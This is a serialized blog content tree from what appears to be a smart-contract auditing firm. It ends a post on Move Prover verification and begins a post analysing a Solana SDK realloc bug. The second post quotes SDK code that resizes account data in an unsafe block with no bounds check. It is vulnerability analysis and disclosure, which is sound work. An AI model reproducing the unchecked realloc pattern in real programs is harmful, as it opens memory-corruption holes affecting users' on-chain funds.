ps":11438,"children":11439},{"style":259},[11440],{"type":28,"value":1820},{"type":23,"tag":139,"props":11442,"children":11443},{"class":141,"line":169},[11444,11448,11452,11456],{"type":23,"tag":139,"props":11445,"children":11446},{"style":245},[11447],{"type":28,"value":6121},{"type":23,"tag":139,"props":11449,"children":11450},{"style":259},[11451],{"type":28,"value":262},{"type":23,"tag":139,"props":11453,"children":11454},{"style":294},[11455],{"type":28,"value":6130},{"type":23,"tag":139,"props":11457,"children":11458},{"style":259},[11459],{"type":28,"value":273},{"type":23,"tag":139,"props":11461,"children":11462},{"class":141,"line":178},[11463],{"type":23,"tag":139,"props":11464,"children":11465},{"style":259},[11466],{"type":28,"value":3874},{"type":23,"tag":139,"props":11468,"children":11469},{"class":141,"line":187},[11470,11474,11478],{"type":23,"tag":139,"props":11471,"children":11472},{"style":294},[11473],{"type":28,"value":6149},{"type":23,"tag":139,"props":11475,"children":11476},{"style":294},[11477],{"type":28,"value":5995},{"type":23,"tag":139,"props":11479,"children":11480},{"style":259},[11481],{"type":28,"value":1268},{"type":23,"tag":139,"props":11483,"children":11484},{"class":141,"line":196},[11485,11489,11493,11497,11501],{"type":23,"tag":139,"props":11486,"children":11487},{"style":294},[11488],{"type":28,"value":6165},{"type":23,"tag":139,"props":11490,"children":11491},{"style":294},[11492],{"type":28,"value":6170},{"type":23,"tag":139,"props":11494,"children":11495},{"style":982},[11496],{"type":28,"value":1067},{"type":23,"tag":139,"props":11498,"children":11499},{"style":279},[11500],{"type":28,"value":6179},{"type":23,"tag":139,"props":11502,"children":11503},{"style":259},[11504],{"type":28,"value":995},{"type":23,"tag":139,"props":11506,"children":11507},{"class":141,"line":205},[11508,11512,11516,11520,11524],{"type":23,"tag":139,"props":11509,"children":11510},{"style":294},[11511],{"type":28,"value":6191},{"type":23,"tag":139,"props":11513,"children":11514},{"style":294},[11515],{"type":28,"value":6196},{"type":23,"tag":139,"props":11517,"children":11518},{"style":982},[11519],{"type":28,"value":6201},{"type":23,"tag":139,"props":11521,"children":11522},{"style":294},[11523],{"type":28,"value":6206},{"type":23,"tag":139,"props":11525,"children":11526},{"style":259},[11527],{"type":28,"value":995},{"type":23,"tag":139,"props":11529,"children":11530},{"class":141,"line":214},[11531,11535,11539,11543,11547],{"type":23,"tag":139,"props":11532,"children":11533},{"style":294},[11534],{"type":28,"value":6191},{"type":23,"tag":139,"props":11536,"children":11537},{"style":294},[11538],{"type":28,"value":6222},{"type":23,"tag":139,"props":11540,"children":11541},{"style":982},[11542],{"type":28,"value":6201},{"type":23,"tag":139,"props":11544,"children":11545},{"style":294},[11546],{"type":28,"value":6231},{"type":23,"tag":139,"props":11548,"children":11549},{"style":259},[11550],{"type":28,"value":995},{"type":23,"tag":139,"props":11552,"children":11553},{"class":141,"line":1320},[11554],{"type":23,"tag":139,"props":11555,"children":11556},{"style":259},[11557],{"type":28,"value":3874},{"type":23,"tag":24,"props":11559,"children":11560},{},[11561],{"type":28,"value":11562},"Some other ideas include",{"type":23,"tag":797,"props":11564,"children":11565},{},[11566,11571,11576],{"type":23,"tag":801,"props":11567,"children":11568},{},[11569],{"type":28,"value":11570},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":801,"props":11572,"children":11573},{},[11574],{"type":28,"value":11575},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":801,"props":11577,"children":11578},{},[11579],{"type":28,"value":11580},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":41,"props":11582,"children":11583},{"id":3313},[11584],{"type":28,"value":3316},{"type":23,"tag":24,"props":11586,"children":11587},{},[11588],{"type":28,"value":11589},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":24,"props":11591,"children":11592},{},[11593],{"type":28,"value":11594},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":24,"props":11596,"children":11597},{},[11598,11600,11605],{"type":28,"value":11599},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":64,"props":11601,"children":11603},{"href":7249,"rel":11602},[68],[11604],{"type":28,"value":7253},{"type":28,"value":73},{"type":23,"tag":817,"props":11607,"children":11608},{},[11609],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":11611},[11612,11613,11616,11623],{"id":7313,"depth":151,"text":7316},{"id":7367,"depth":151,"text":7370,"children":11614},[11615],{"id":7618,"depth":160,"text":7614},{"id":10520,"depth":151,"text":10523,"children":11617},[11618,11619,11620,11621,11622],{"id":10536,"depth":160,"text":10539},{"id":10787,"depth":160,"text":10790},{"id":11092,"depth":160,"text":11095},{"id":11129,"depth":160,"text":11132},{"id":11292,"depth":160,"text":11295},{"id":3313,"depth":151,"text":3316},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":11628,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11629,"description":11630,"author":11631,"image":11632,"date":11635,"isFeatured":15,"onBlogPage":15,"tags":11636,"body":11637,"_type":831,"_id":16749,"_source":833,"_file":16750,"_stem":16751,"_extension":836},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":11633,"height":11634,"width":13},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[849,7277],{"type":20,"children":11638,"toc":16733},[11639,11667,11687,12357,12377,12388,12400,12533,12543,12549,12575,12916,12961,13288,13351,13364,13438,13504,13525,13538,13552,13901,13912,13917,14048,14099,14125,14137,14310,14446,14487,14524,14590,14595,14633,14687,14698,14842,14854,14860,14866,14899,14913,15034,15053,15081,15087,15177,15268,15274,15279,15326,15595,15670,15681,15708,16040,16052,16125,16398,16435,16729],{"type":23,"tag":24,"props":11640,"children":11641},{},[11642,11644,11650,11652,11657,11659,11665],{"type":28,"value":11643},"It all started with an audit of a program that used ",{"type":23,"tag":135,"props":11645,"children":11647},{"className":11646},[],[11648],{"type":28,"value":11649},"realloc",{"type":28,"value":11651}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":135,"props":11653,"children":11655},{"className":11654},[],[11656],{"type":28,"value":11649},{"type":28,"value":11658}," call (from ",{"type":23,"tag":135,"props":11660,"children":11662},{"className":11661},[],[11663],{"type":28,"value":11664},"solana_program",{"type":28,"value":11666},") would error out appropriately.",{"type":23,"tag":24,"props":11668,"children":11669},{},[11670,11672,11678,11679,11686],{"type":28,"value":11671},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":135,"props":11673,"children":11675},{"className":11674},[],[11676],{"type":28,"value":11677},"AccountInfo::realloc",{"type":28,"value":3504},{"type":23,"tag":64,"props":11680,"children":11683},{"href":11681,"rel":11682},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[68],[11684],{"type":28,"value":11685},"implemented",{"type":28,"value":2493},{"type":23,"tag":128,"props":11688,"children":11690},{"className":948,"code":11689,"language":947,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[11691],{"type":23,"tag":135,"props":11692,"children":11693},{"__ignoreMap":7},[11694,11788,11822,11829,11837,11849,11857,11949,11982,11989,11997,12127,12158,12165,12172,12180,12214,12226,12275,12287,12316,12323,12330,12337,12350],{"type":23,"tag":139,"props":11695,"children":11696},{"class":141,"line":142},[11697,11702,11707,11712,11716,11720,11725,11729,11734,11738,11743,11747,11752,11756,11760,11764,11769,11774,11779,11784],{"type":23,"tag":139,"props":11698,"children":11699},{"style":279},[11700],{"type":28,"value":11701},"pub",{"type":23,"tag":139,"props":11703,"children":11704},{"style":279},[11705],{"type":28,"value":11706}," fn",{"type":23,"tag":139,"props":11708,"children":11709},{"style":245},[11710],{"type":28,"value":11711}," realloc",{"type":23,"tag":139,"props":11713,"children":11714},{"style":259},[11715],{"type":28,"value":262},{"type":23,"tag":139,"props":11717,"children":11718},{"style":982},[11719],{"type":28,"value":1085},{"type":23,"tag":139,"props":11721,"children":11722},{"style":279},[11723],{"type":28,"value":11724},"self",{"type":23,"tag":139,"props":11726,"children":11727},{"style":259},[11728],{"type":28,"value":1052},{"type":23,"tag":139,"props":11730,"children":11731},{"style":294},[11732],{"type":28,"value":11733},"new_len",{"type":23,"tag":139,"props":11735,"children":11736},{"style":982},[11737],{"type":28,"value":2493},{"type":23,"tag":139,"props":11739,"children":11740},{"style":305},[11741],{"type":28,"value":11742}," usize",{"type":23,"tag":139,"props":11744,"children":11745},{"style":259},[11746],{"type":28,"value":1052},{"type":23,"tag":139,"props":11748,"children":11749},{"style":294},[11750],{"type":28,"value":11751},"zero_init",{"type":23,"tag":139,"props":11753,"children":11754},{"style":982},[11755],{"type":28,"value":2493},{"type":23,"tag":139,"props":11757,"children":11758},{"style":305},[11759],{"type":28,"value":10061},{"type":23,"tag":139,"props":11761,"children":11762},{"style":259},[11763],{"type":28,"value":1062},{"type":23,"tag":139,"props":11765,"children":11766},{"style":982},[11767],{"type":28,"value":11768},"->",{"type":23,"tag":139,"props":11770,"children":11771},{"style":305},[11772],{"type":28,"value":11773}," Result",{"type":23,"tag":139,"props":11775,"children":11776},{"style":259},[11777],{"type":28,"value":11778},"\u003C(), ",{"type":23,"tag":139,"props":11780,"children":11781},{"style":305},[11782],{"type":28,"value":11783},"ProgramError",{"type":23,"tag":139,"props":11785,"children":11786},{"style":259},[11787],{"type":28,"value":5284},{"type":23,"tag":139,"props":11789,"children":11790},{"class":141,"line":151},[11791,11795,11800,11804,11809,11813,11818],{"type":23,"tag":139,"props":11792,"children":11793},{"style":279},[11794],{"type":28,"value":969},{"type":23,"tag":139,"props":11796,"children":11797},{"style":294},[11798],{"type":28,"value":11799}," orig_len",{"type":23,"tag":139,"props":11801,"children":11802},{"style":982},[11803],{"type":28,"value":985},{"type":23,"tag":139,"props":11805,"children":11806},{"style":279},[11807],{"type":28,"value":11808}," self",{"type":23,"tag":139,"props":11810,"children":11811},{"style":982},[11812],{"type":28,"value":73},{"type":23,"tag":139,"props":11814,"children":11815},{"style":245},[11816],{"type":28,"value":11817},"data_len",{"type":23,"tag":139,"props":11819,"children":11820},{"style":259},[11821],{"type":28,"value":1656},{"type":23,"tag":139,"props":11823,"children":11824},{"class":141,"line":160},[11825],{"type":23,"tag":139,"props":11826,"children":11827},{"emptyLinePlaceholder":15},[11828],{"type":28,"value":184},{"type":23,"tag":139,"props":11830,"children":11831},{"class":141,"line":169},[11832],{"type":23,"tag":139,"props":11833,"children":11834},{"style":958},[11835],{"type":28,"value":11836},"    // realloc\n",{"type":23,"tag":139,"props":11838,"children":11839},{"class":141,"line":178},[11840,11845],{"type":23,"tag":139,"props":11841,"children":11842},{"style":279},[11843],{"type":28,"value":11844},"    unsafe",{"type":23,"tag":139,"props":11846,"children":11847},{"style":259},[11848],{"type":28,"value":1268},{"type":23,"tag":139,"props":11850,"children":11851},{"class":141,"line":187},[11852],{"type":23,"tag":139,"props":11853,"children":11854},{"style":958},[11855],{"type":28,"value":11856},"        // First set new length in the serialized data\n",{"type":23,"tag":139,"props":11858,"children":11859},{"class":141,"line":196},[11860,11864,11869,11873,11877,11881,11886,11891,11895,11900,11904,11908,11913,11917,11921,11925,11929,11933,11937,11941,11945],{"type":23,"tag":139,"props":11861,"children":11862},{"style":279},[11863],{"type":28,"value":1037},{"type":23,"tag":139,"props":11865,"children":11866},{"style":294},[11867],{"type":28,"value":11868}," ptr",{"type":23,"tag":139,"props":11870,"children":11871},{"style":982},[11872],{"type":28,"value":985},{"type":23,"tag":139,"props":11874,"children":11875},{"style":279},[11876],{"type":28,"value":11808},{"type":23,"tag":139,"props":11878,"children":11879},{"style":982},[11880],{"type":28,"value":73},{"type":23,"tag":139,"props":11882,"children":11883},{"style":245},[11884],{"type":28,"value":11885},"try_borrow_mut_data",{"type":23,"tag":139,"props":11887,"children":11888},{"style":259},[11889],{"type":28,"value":11890},"()",{"type":23,"tag":139,"props":11892,"children":11893},{"style":982},[11894],{"type":28,"value":1109},{"type":23,"tag":139,"props":11896,"children":11897},{"style":245},[11898],{"type":28,"value":11899},"as_mut_ptr",{"type":23,"tag":139,"props":11901,"children":11902},{"style":259},[11903],{"type":28,"value":11890},{"type":23,"tag":139,"props":11905,"children":11906},{"style":982},[11907],{"type":28,"value":73},{"type":23,"tag":139,"props":11909,"children":11910},{"style":245},[11911],{"type":28,"value":11912},"offset",{"type":23,"tag":139,"props":11914,"children":11915},{"style":259},[11916],{"type":28,"value":262},{"type":23,"tag":139,"props":11918,"children":11919},{"style":982},[11920],{"type":28,"value":2328},{"type":23,"tag":139,"props":11922,"children":11923},{"style":1016},[11924],{"type":28,"value":2075},{"type":23,"tag":139,"props":11926,"children":11927},{"style":259},[11928],{"type":28,"value":1062},{"type":23,"tag":139,"props":11930,"children":11931},{"style":279},[11932],{"type":28,"value":6847},{"type":23,"tag":139,"props":11934,"children":11935},{"style":982},[11936],{"type":28,"value":7825},{"type":23,"tag":139,"props":11938,"children":11939},{"style":279},[11940],{"type":28,"value":1713},{"type":23,"tag":139,"props":11942,"children":11943},{"style":305},[11944],{"type":28,"value":3862},{"type":23,"tag":139,"props":11946,"children":11947},{"style":259},[11948],{"type":28,"value":995},{"type":23,"tag":139,"props":11950,"children":11951},{"class":141,"line":205},[11952,11956,11961,11965,11970,11974,11978],{"type":23,"tag":139,"props":11953,"children":11954},{"style":982},[11955],{"type":28,"value":5755},{"type":23,"tag":139,"props":11957,"children":11958},{"style":294},[11959],{"type":28,"value":11960},"ptr",{"type":23,"tag":139,"props":11962,"children":11963},{"style":982},[11964],{"type":28,"value":985},{"type":23,"tag":139,"props":11966,"children":11967},{"style":294},[11968],{"type":28,"value":11969}," new_len",{"type":23,"tag":139,"props":11971,"children":11972},{"style":279},[11973],{"type":28,"value":6833},{"type":23,"tag":139,"props":11975,"children":11976},{"style":305},[11977],{"type":28,"value":3862},{"type":23,"tag":139,"props":11979,"children":11980},{"style":259},[11981],{"type":28,"value":995},{"type":23,"tag":139,"props":11983,"children":11984},{"class":141,"line":214},[11985],{"type":23,"tag":139,"props":11986,"children":11987},{"emptyLinePlaceholder":15},[11988],{"type":28,"value":184},{"type":23,"tag":139,"props":11990,"children":11991},{"class":141,"line":1320},[11992],{"type":23,"tag":139,"props":11993,"children":11994},{"style":958},[11995],{"type":28,"value":11996},"        // Then set the new length in the local slice\n",{"type":23,"tag":139,"props":11998,"children":11999},{"class":141,"line":1329},[12000,12004,12008,12012,12016,12020,12024,12029,12033,12037,12041,12045,12050,12055,12059,12063,12067,12071,12075,12079,12083,12087,12091,12095,12099,12103,12107,12111,12115,12119,12123],{"type":23,"tag":139,"props":12001,"children":12002},{"style":279},[12003],{"type":28,"value":1037},{"type":23,"tag":139,"props":12005,"children":12006},{"style":294},[12007],{"type":28,"value":11868},{"type":23,"tag":139,"props":12009,"children":12010},{"style":982},[12011],{"type":28,"value":985},{"type":23,"tag":139,"props":12013,"children":12014},{"style":982},[12015],{"type":28,"value":5144},{"type":23,"tag":139,"props":12017,"children":12018},{"style":279},[12019],{"type":28,"value":1713},{"type":23,"tag":139,"props":12021,"children":12022},{"style":982},[12023],{"type":28,"value":7825},{"type":23,"tag":139,"props":12025,"children":12026},{"style":259},[12027],{"type":28,"value":12028},"(((",{"type":23,"tag":139,"props":12030,"children":12031},{"style":279},[12032],{"type":28,"value":11724},{"type":23,"tag":139,"props":12034,"children":12035},{"style":982},[12036],{"type":28,"value":73},{"type":23,"tag":139,"props":12038,"children":12039},{"style":259},[12040],{"type":28,"value":1691},{"type":23,"tag":139,"props":12042,"children":12043},{"style":982},[12044],{"type":28,"value":73},{"type":23,"tag":139,"props":12046,"children":12047},{"style":245},[12048],{"type":28,"value":12049},"as_ptr",{"type":23,"tag":139,"props":12051,"children":12052},{"style":259},[12053],{"type":28,"value":12054},"() ",{"type":23,"tag":139,"props":12056,"children":12057},{"style":279},[12058],{"type":28,"value":6847},{"type":23,"tag":139,"props":12060,"children":12061},{"style":982},[12062],{"type":28,"value":7825},{"type":23,"tag":139,"props":12064,"children":12065},{"style":279},[12066],{"type":28,"value":7663},{"type":23,"tag":139,"props":12068,"children":12069},{"style":305},[12070],{"type":28,"value":3862},{"type":23,"tag":139,"props":12072,"children":12073},{"style":259},[12074],{"type":28,"value":1104},{"type":23,"tag":139,"props":12076,"children":12077},{"style":982},[12078],{"type":28,"value":73},{"type":23,"tag":139,"props":12080,"children":12081},{"style":245},[12082],{"type":28,"value":11912},{"type":23,"tag":139,"props":12084,"children":12085},{"style":259},[12086],{"type":28,"value":262},{"type":23,"tag":139,"props":12088,"children":12089},{"style":1016},[12090],{"type":28,"value":647},{"type":23,"tag":139,"props":12092,"children":12093},{"style":259},[12094],{"type":28,"value":1062},{"type":23,"tag":139,"props":12096,"children":12097},{"style":279},[12098],{"type":28,"value":6847},{"type":23,"tag":139,"props":12100,"children":12101},{"style":305},[12102],{"type":28,"value":3862},{"type":23,"tag":139,"props":12104,"children":12105},{"style":259},[12106],{"type":28,"value":1062},{"type":23,"tag":139,"props":12108,"children":12109},{"style":279},[12110],{"type":28,"value":6847},{"type":23,"tag":139,"props":12112,"children":12113},{"style":982},[12114],{"type":28,"value":7825},{"type":23,"tag":139,"props":12116,"children":12117},{"style":279},[12118],{"type":28,"value":1713},{"type":23,"tag":139,"props":12120,"children":12121},{"style":305},[12122],{"type":28,"value":3862},{"type":23,"tag":139,"props":12124,"children":12125},{"style":259},[12126],{"type":28,"value":1820},{"type":23,"tag":139,"props":12128,"children":12129},{"class":141,"line":1580},[12130,12134,12138,12142,12146,12150,12154],{"type":23,"tag":139,"props":12131,"children":12132},{"style":982},[12133],{"type":28,"value":5755},{"type":23,"tag":139,"props":12135,"children":12136},{"style":294},[12137],{"type":28,"value":11960},{"type":23,"tag":139,"props":12139,"children":12140},{"style":982},[12141],{"type":28,"value":985},{"type":23,"tag":139,"props":12143,"children":12144},{"style":294},[12145],{"type":28,"value":11969},{"type":23,"tag":139,"props":12147,"children":12148},{"style":279},[12149],{"type":28,"value":6833},{"type":23,"tag":139,"props":12151,"children":12152},{"style":305},[12153],{"type":28,"value":3862},{"type":23,"tag":139,"props":12155,"children":12156},{"style":259},[12157],{"type":28,"value":995},{"type":23,"tag":139,"props":12159,"children":12160},{"class":141,"line":1597},[12161],{"type":23,"tag":139,"props":12162,"children":12163},{"style":259},[12164],{"type":28,"value":1335},{"type":23,"tag":139,"props":12166,"children":12167},{"class":141,"line":1614},[12168],{"type":23,"tag":139,"props":12169,"children":12170},{"emptyLinePlaceholder":15},[12171],{"type":28,"value":184},{"type":23,"tag":139,"props":12173,"children":12174},{"class":141,"line":1627},[12175],{"type":23,"tag":139,"props":12176,"children":12177},{"style":958},[12178],{"type":28,"value":12179},"    // zero-init if requested\n",{"type":23,"tag":139,"props":12181,"children":12182},{"class":141,"line":1636},[12183,12187,12192,12197,12201,12206,12210],{"type":23,"tag":139,"props":12184,"children":12185},{"style":319},[12186],{"type":28,"value":10290},{"type":23,"tag":139,"props":12188,"children":12189},{"style":294},[12190],{"type":28,"value":12191}," zero_init",{"type":23,"tag":139,"props":12193,"children":12194},{"style":982},[12195],{"type":28,"value":12196}," &&",{"type":23,"tag":139,"props":12198,"children":12199},{"style":294},[12200],{"type":28,"value":11969},{"type":23,"tag":139,"props":12202,"children":12203},{"style":982},[12204],{"type":28,"value":12205}," >",{"type":23,"tag":139,"props":12207,"children":12208},{"style":294},[12209],{"type":28,"value":11799},{"type":23,"tag":139,"props":12211,"children":12212},{"style":259},[12213],{"type":28,"value":1268},{"type":23,"tag":139,"props":12215,"children":12216},{"class":141,"line":1659},[12217,12222],{"type":23,"tag":139,"props":12218,"children":12219},{"style":245},[12220],{"type":28,"value":12221},"        sol_memset",{"type":23,"tag":139,"props":12223,"children":12224},{"style":259},[12225],{"type":28,"value":1443},{"type":23,"tag":139,"props":12227,"children":12228},{"class":141,"line":1667},[12229,12233,12237,12241,12245,12249,12253,12257,12261,12266,12270],{"type":23,"tag":139,"props":12230,"children":12231},{"style":982},[12232],{"type":28,"value":5688},{"type":23,"tag":139,"props":12234,"children":12235},{"style":279},[12236],{"type":28,"value":1713},{"type":23,"tag":139,"props":12238,"children":12239},{"style":279},[12240],{"type":28,"value":11808},{"type":23,"tag":139,"props":12242,"children":12243},{"style":982},[12244],{"type":28,"value":73},{"type":23,"tag":139,"props":12246,"children":12247},{"style":245},[12248],{"type":28,"value":11885},{"type":23,"tag":139,"props":12250,"children":12251},{"style":259},[12252],{"type":28,"value":11890},{"type":23,"tag":139,"props":12254,"children":12255},{"style":982},[12256],{"type":28,"value":1132},{"type":23,"tag":139,"props":12258,"children":12259},{"style":259},[12260],{"type":28,"value":1723},{"type":23,"tag":139,"props":12262,"children":12263},{"style":294},[12264],{"type":28,"value":12265},"orig_len",{"type":23,"tag":139,"props":12267,"children":12268},{"style":982},[12269],{"type":28,"value":1024},{"type":23,"tag":139,"props":12271,"children":12272},{"style":259},[12273],{"type":28,"value":12274},"],\n",{"type":23,"tag":139,"props":12276,"children":12277},{"class":141,"line":1676},[12278,12283],{"type":23,"tag":139,"props":12279,"children":12280},{"style":1016},[12281],{"type":28,"value":12282},"            0",{"type":23,"tag":139,"props":12284,"children":12285},{"style":259},[12286],{"type":28,"value":1488},{"type":23,"tag":139,"props":12288,"children":12289},{"class":141,"line":1745},[12290,12295,12299,12304,12308,12312],{"type":23,"tag":139,"props":12291,"children":12292},{"style":294},[12293],{"type":28,"value":12294},"            new_len",{"type":23,"tag":139,"props":12296,"children":12297},{"style":982},[12298],{"type":28,"value":73},{"type":23,"tag":139,"props":12300,"children":12301},{"style":245},[12302],{"type":28,"value":12303},"saturating_sub",{"type":23,"tag":139,"props":12305,"children":12306},{"style":259},[12307],{"type":28,"value":262},{"type":23,"tag":139,"props":12309,"children":12310},{"style":294},[12311],{"type":28,"value":12265},{"type":23,"tag":139,"props":12313,"children":12314},{"style":259},[12315],{"type":28,"value":4739},{"type":23,"tag":139,"props":12317,"children":12318},{"class":141,"line":1753},[12319],{"type":23,"tag":139,"props":12320,"children":12321},{"style":259},[12322],{"type":28,"value":5747},{"type":23,"tag":139,"props":12324,"children":12325},{"class":141,"line":1783},[12326],{"type":23,"tag":139,"props":12327,"children":12328},{"style":259},[12329],{"type":28,"value":1335},{"type":23,"tag":139,"props":12331,"children":12332},{"class":141,"line":1791},[12333],{"type":23,"tag":139,"props":12334,"children":12335},{"emptyLinePlaceholder":15},[12336],{"type":28,"value":184},{"type":23,"tag":139,"props":12338,"children":12339},{"class":141,"line":1823},[12340,12345],{"type":23,"tag":139,"props":12341,"children":12342},{"style":305},[12343],{"type":28,"value":12344},"    Ok",{"type":23,"tag":139,"props":12346,"children":12347},{"style":259},[12348],{"type":28,"value":12349},"(())\n",{"type":23,"tag":139,"props":12351,"children":12352},{"class":141,"line":1831},[12353],{"type":23,"tag":139,"props":12354,"children":12355},{"style":259},[12356],{"type":28,"value":1897},{"type":23,"tag":24,"props":12358,"children":12359},{},[12360,12362,12368,12370,12375],{"type":28,"value":12361},"Oh. There's ",{"type":23,"tag":135,"props":12363,"children":12365},{"className":12364},[],[12366],{"type":28,"value":12367},"unsafe",{"type":28,"value":12369},". And no bounds check in sight. ",{"type":23,"tag":659,"props":12371,"children":12372},{},[12373],{"type":28,"value":12374},"And",{"type":28,"value":12376}," pointer math. That doesn't look promising...",{"type":23,"tag":41,"props":12378,"children":12380},{"id":12379},"breaking-down-realloc",[12381,12383],{"type":28,"value":12382},"Breaking down ",{"type":23,"tag":135,"props":12384,"children":12386},{"className":12385},[],[12387],{"type":28,"value":11649},{"type":23,"tag":24,"props":12389,"children":12390},{},[12391,12393,12398],{"type":28,"value":12392},"Let's pick apart this ",{"type":23,"tag":135,"props":12394,"children":12396},{"className":12395},[],[12397],{"type":28,"value":12367},{"type":28,"value":12399}," block, since there's a lot going on here.",{"type":23,"tag":128,"props":12401,"children":12403},{"className":948,"code":12402,"language":947,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[12404],{"type":23,"tag":135,"props":12405,"children":12406},{"__ignoreMap":7},[12407,12415,12502],{"type":23,"tag":139,"props":12408,"children":12409},{"class":141,"line":142},[12410],{"type":23,"tag":139,"props":12411,"children":12412},{"style":958},[12413],{"type":28,"value":12414},"// First set new length in the serialized data\n",{"type":23,"tag":139,"props":12416,"children":12417},{"class":141,"line":151},[12418,12422,12426,12430,12434,12438,12442,12446,12450,12454,12458,12462,12466,12470,12474,12478,12482,12486,12490,12494,12498],{"type":23,"tag":139,"props":12419,"children":12420},{"style":279},[12421],{"type":28,"value":9798},{"type":23,"tag":139,"props":12423,"children":12424},{"style":294},[12425],{"type":28,"value":11868},{"type":23,"tag":139,"props":12427,"children":12428},{"style":982},[12429],{"type":28,"value":985},{"type":23,"tag":139,"props":12431,"children":12432},{"style":279},[12433],{"type":28,"value":11808},{"type":23,"tag":139,"props":12435,"children":12436},{"style":982},[12437],{"type":28,"value":73},{"type":23,"tag":139,"props":12439,"children":12440},{"style":245},[12441],{"type":28,"value":11885},{"type":23,"tag":139,"props":12443,"children":12444},{"style":259},[12445],{"type":28,"value":11890},{"type":23,"tag":139,"props":12447,"children":12448},{"style":982},[12449],{"type":28,"value":1109},{"type":23,"tag":139,"props":12451,"children":12452},{"style":245},[12453],{"type":28,"value":11899},{"type":23,"tag":139,"props":12455,"children":12456},{"style":259},[12457],{"type":28,"value":11890},{"type":23,"tag":139,"props":12459,"children":12460},{"style":982},[12461],{"type":28,"value":73},{"type":23,"tag":139,"props":12463,"children":12464},{"style":245},[12465],{"type":28,"value":11912},{"type":23,"tag":139,"props":12467,"children":12468},{"style":259},[12469],{"type":28,"value":262},{"type":23,"tag":139,"props":12471,"children":12472},{"style":982},[12473],{"type":28,"value":2328},{"type":23,"tag":139,"props":12475,"children":12476},{"style":1016},[12477],{"type":28,"value":2075},{"type":23,"tag":139,"props":12479,"children":12480},{"style":259},[12481],{"type":28,"value":1062},{"type":23,"tag":139,"props":12483,"children":12484},{"style":279},[12485],{"type":28,"value":6847},{"type":23,"tag":139,"props":12487,"children":12488},{"style":982},[12489],{"type":28,"value":7825},{"type":23,"tag":139,"props":12491,"children":12492},{"style":279},[12493],{"type":28,"value":1713},{"type":23,"tag":139,"props":12495,"children":12496},{"style":305},[12497],{"type":28,"value":3862},{"type":23,"tag":139,"props":12499,"children":12500},{"style":259},[12501],{"type":28,"value":995},{"type":23,"tag":139,"props":12503,"children":12504},{"class":141,"line":160},[12505,12509,12513,12517,12521,12525,12529],{"type":23,"tag":139,"props":12506,"children":12507},{"style":982},[12508],{"type":28,"value":2573},{"type":23,"tag":139,"props":12510,"children":12511},{"style":294},[12512],{"type":28,"value":11960},{"type":23,"tag":139,"props":12514,"children":12515},{"style":982},[12516],{"type":28,"value":985},{"type":23,"tag":139,"props":12518,"children":12519},{"style":294},[12520],{"type":28,"value":11969},{"type":23,"tag":139,"props":12522,"children":12523},{"style":279},[12524],{"type":28,"value":6833},{"type":23,"tag":139,"props":12526,"children":12527},{"style":305},[12528],{"type":28,"value":3862},{"type":23,"tag":139,"props":12530,"children":12531},{"style":259},[12532],{"type":28,"value":995},{"type":23,"tag":24,"props":12534,"children":12535},{},[12536,12541],{"type":23,"tag":135,"props":12537,"children":12539},{"className":12538},[],[12540],{"type":28,"value":11885},{"type":28,"value":12542}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":666,"props":12544,"children":12546},{"id":12545},"bpf-loader-abi",[12547],{"type":28,"value":12548},"BPF Loader ABI",{"type":23,"tag":24,"props":12550,"children":12551},{},[12552,12554,12559,12561,12574],{"type":28,"value":12553},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":135,"props":12555,"children":12557},{"className":12556},[],[12558],{"type":28,"value":11664},{"type":28,"value":12560},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":64,"props":12562,"children":12565},{"href":12563,"rel":12564},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[68],[12566,12572],{"type":23,"tag":135,"props":12567,"children":12569},{"className":12568},[],[12570],{"type":28,"value":12571},"entrypoint!",{"type":28,"value":12573}," macro",{"type":28,"value":2493},{"type":23,"tag":128,"props":12576,"children":12578},{"className":948,"code":12577,"language":947,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, 